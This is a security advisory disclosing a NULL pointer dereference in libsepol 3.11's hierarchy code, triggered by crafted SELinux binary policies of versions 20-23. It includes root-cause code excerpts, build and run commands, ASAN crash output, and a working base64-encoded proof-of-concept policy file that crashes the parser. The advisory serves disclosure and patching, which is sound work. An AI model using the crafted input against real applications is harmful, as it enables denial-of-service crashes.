Skip to content

libsepol <= 3.11: NULL pointer dereference in `hierarchy_add_type_callback` via crafted binary policy (POLICY_KERN versions 20-23)

Low
stephensmalley published GHSA-r6m6-f5mx-4g63 Aug 10, 2026

Package

libsepol

Affected versions

3.11

Patched versions

3.12

Description

libsepol <= 3.11: NULL pointer dereference in hierarchy_add_type_callback via crafted binary policy (POLICY_KERN versions 20-23)

Summary

A NULL pointer dereference in libsepol/src/hierarchy.c:669 causes a SIGSEGV when hierarchy_check_constraints() processes a crafted SELinux binary policy with POLICY_KERN version 20-23. A type entry with primary=0 creates a NULL gap in p_type_val_to_name[], which is then passed to strrchr() — a function whose first parameter is declared nonnull.

  • Affected version: libsepol 3.11 (tag libsepol-3.11), also confirmed on main branch (same code)
  • Vulnerability type: CWE-476 (NULL Pointer Dereference)

Root Cause

Three code paths interact to create the vulnerability:

1. type_index() skips non-primary types (policydb.c:1112)

static int type_index(hashtab_key_t key, hashtab_datum_t datum, void *datap)
{
    ...
    if (typdatum->primary) {          // only indexes primary types
        ...
        p->p_type_val_to_name[typdatum->s.value - 1] = (char *)key;
        p->type_val_to_struct[typdatum->s.value - 1] = typdatum;
    }
    return 0;
}

Types with primary=0 are not indexed — their entries in p_type_val_to_name[] remain NULL. But they are still present in the p_types.table hashtab.

2. validate_array_init() skips gap checking for versions 20-23 (policydb_validate.c:73-87)

if (p->policy_type != POLICY_KERN ||
    p->policyvers < POLICYDB_VERSION_AVTAB ||
    p->policyvers > POLICYDB_VERSION_PERMISSIVE) {
    if (validate_init(&flavors[SYM_TYPES], p->p_type_val_to_name,
                      p->p_types.nprim))
        goto bad;
} else {
    // versions 20-23: gaps treated as empty
    flavors[SYM_TYPES].nprim = p->p_types.nprim;
    ebitmap_init(&flavors[SYM_TYPES].gaps);  // empty gaps bitmap
}

For POLICY_KERN versions 20-23, NULL entries in p_type_val_to_name are not flagged as invalid, so policydb_validate() does not reject the policy.

3. hierarchy_add_type_callback dereferences NULL without check (hierarchy.c:634-669)

if (!datum->bounds) {
    datum_name =
        p->p_type_val_to_name[datum->s.value - 1];   // can be NULL

    tmp = strrchr(datum_name, '.');                   // CRASH: NULL passed to nonnull
    ...
}

hierarchy_add_bounds() calls hashtab_map(p->p_types.table, hierarchy_add_type_callback, ...), which iterates all types in the hashtab — including non-primary types with NULL val_to_name entries.

Call chain

LLVMFuzzerTestOneInput (binpolicy-fuzzer.c:60)
  └─ hierarchy_check_constraints (hierarchy.c:708)
       └─ hierarchy_add_bounds (hierarchy.c:689)
            └─ hashtab_map (hashtab.c:245)
                 └─ hierarchy_add_type_callback (hierarchy.c:669)
                      └─ strrchr(NULL, '.')  ← SIGSEGV

PoC

A 495-byte crafted SELinux binary policy file. The key is a type entry with primary=0, value=2, and name "parent.child" (the dot ensures strrchr is called rather than returning early).

Reproduction

Build libsepol with ASAN+UBSan and the fuzzer harness from libsepol/fuzz/binpolicy-fuzzer.c. The fuzzer harness uses LLVMFuzzerTestOneInput which expects a buffer; we need a file-based entry.c wrapper to read from a file:

entry.c (file-based LLVMFuzzerTestOneInput wrapper):

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

extern int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size);

int main(int argc, char **argv) {
    if (argc != 2) {
        fprintf(stderr, "usage: %s <file>\n", argv[0]);
        return 2;
    }
    FILE *f = fopen(argv[1], "rb");
    if (!f) { perror("fopen"); return 2; }
    fseek(f, 0, SEEK_END);
    long sz = ftell(f);
    fseek(f, 0, SEEK_SET);
    if (sz < 0) { fclose(f); return 2; }
    uint8_t *buf = malloc((size_t)sz > 0 ? (size_t)sz : 1);
    if (!buf) { fclose(f); return 2; }
    fread(buf, 1, (size_t)sz, f);
    fclose(f);
    LLVMFuzzerTestOneInput(buf, (size_t)sz);
    free(buf);
    return 0;
}
# Build libsepol
git clone --depth 1 --branch libsepol-3.11 https://github.com/SELinuxProject/selinux.git
cd selinux/libsepol
make -C src CC=gcc \
    CFLAGS="-O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer -I. -I../include -D_GNU_SOURCE" \
    LDFLAGS="-fsanitize=address,undefined" libsepol.a

# Build fuzzer (binpolicy-fuzzer.c + entry.c wrapper)
gcc -O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer \
    -I include -I src \
    -c fuzz/binpolicy-fuzzer.c -o binpolicy-fuzzer.o
gcc -O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer \
    -I include -I src \
    -c entry.c -o entry.o
gcc -fsanitize=address,undefined -o fuzzer \
    binpolicy-fuzzer.o entry.o src/libsepol.a -lm -ldl -lpthread

# Run PoC
ASAN_OPTIONS="detect_leaks=0" ./fuzzer poc.bin

PoC file

The PoC is a 495-byte crafted SELinux binary policy file (POLICY_KERN version 23, MLS enabled). Save the following base64 as poc.bin:

echo 'jP98+QgAAABTRSBMaW51eBcAAAABAAAACAAAAAcAAABAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAABAAAABgAAAAAAAAABAAAAAQAAAAEAAAAAAAAAY2xhc3MxBQAAAAEAAABwZXJtMQAAAAABAAAAAQAAAAgAAAABAAAAb2JqZWN0X3JAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAACAAAAAgAAAAUAAAABAAAAAQAAAHR5cGUxDAAAAAIAAAAAAAAAcGFyZW50LmNoaWxkAQAAAAEAAAAFAAAAAQAAAHVzZXIxQAAAAEAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAEAAABAAAAAAAAAAAAAAAABAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQAAAAIAAAAAAAAAczABAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQABAAEAAQABAAAAAAAAAAAAAAAAAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAEAAAAABAAAAAAAAAAEAAAAAAAAAQAAAAEAAAAABAAAAAAAAAAIAAAAAAAAA' | base64 -d > poc.bin

The key structure: a POLICY_KERN version 23 policy with 2 types — type1 (primary=1, value=1) and parent.child (primary=0, value=2). The primary=0 type is not indexed by type_index(), creating a NULL gap in p_type_val_to_name[1]. The name "parent.child" contains a dot, ensuring strrchr() is called rather than returning early.

Crash output

hierarchy.c:669:8: runtime error: null pointer passed as argument 1, which is declared to never be null
AddressSanitizer:DEADLYSIGNAL
==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000
The signal is caused by a READ memory access.
Hint: address points to the zero page.
    #0 in __sanitizer::internal_strlen
    #1 in strrchr
    #2 in hierarchy_add_type_callback hierarchy.c:669
    #3 in hashtab_map hashtab.c:245
    #4 in hierarchy_add_bounds hierarchy.c:689
    #5 in hierarchy_check_constraints hierarchy.c:708
    #6 in LLVMFuzzerTestOneInput binpolicy-fuzzer.c:60

SUMMARY: AddressSanitizer: SEGV
Exit code: 1

Impact

  • Severity: Low — DoS crash, not memory corruption
  • Attack surface: Any application using libsepol to parse and validate untrusted binary policy files via sepol_policydb_read() + hierarchy_check_constraints(), potentially indirectly via expand_module(). No known production users are affected.
  • Affected policy versions: POLICY_KERN versions 20-23
  • Notes: Exploiting this bug requires attacker-controlled policy and does not appear to be reachable from any SELinux userspace tools. checkpolicy and checkmodule never call the vulnerable function on a caller-provided binary policy file. semodule_expand only accepts binary policy modules as input, not kernel policies. setools does not call the vulnerable function. Runtime policy consumers are not affected.

Environment

  • libsepol version: 3.11 (tag libsepol-3.11), confirmed reproducible on main branch
  • Compiler: gcc 14, -O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer
  • Fuzzer harness: binpolicy-fuzzer.c from libsepol/fuzz/
    poc.zip

Patches

Fixed via commit 208cea1 and support for the vulnerable policy versions were entirely removed via commit 3394f1a, to be included in libsepol 3.12 and later.

Workarounds

Not directly reachable by any production users of libsepol. Although checkpolicy, checkmodule, and semodule_expand do call expand_module() and/or hierarchy_check_constraints(), they do not call them for any kernel binary policy that they didn't generate themselves.

Severity

Low

CVE ID

No known CVE

Weaknesses

No CWEs

Credits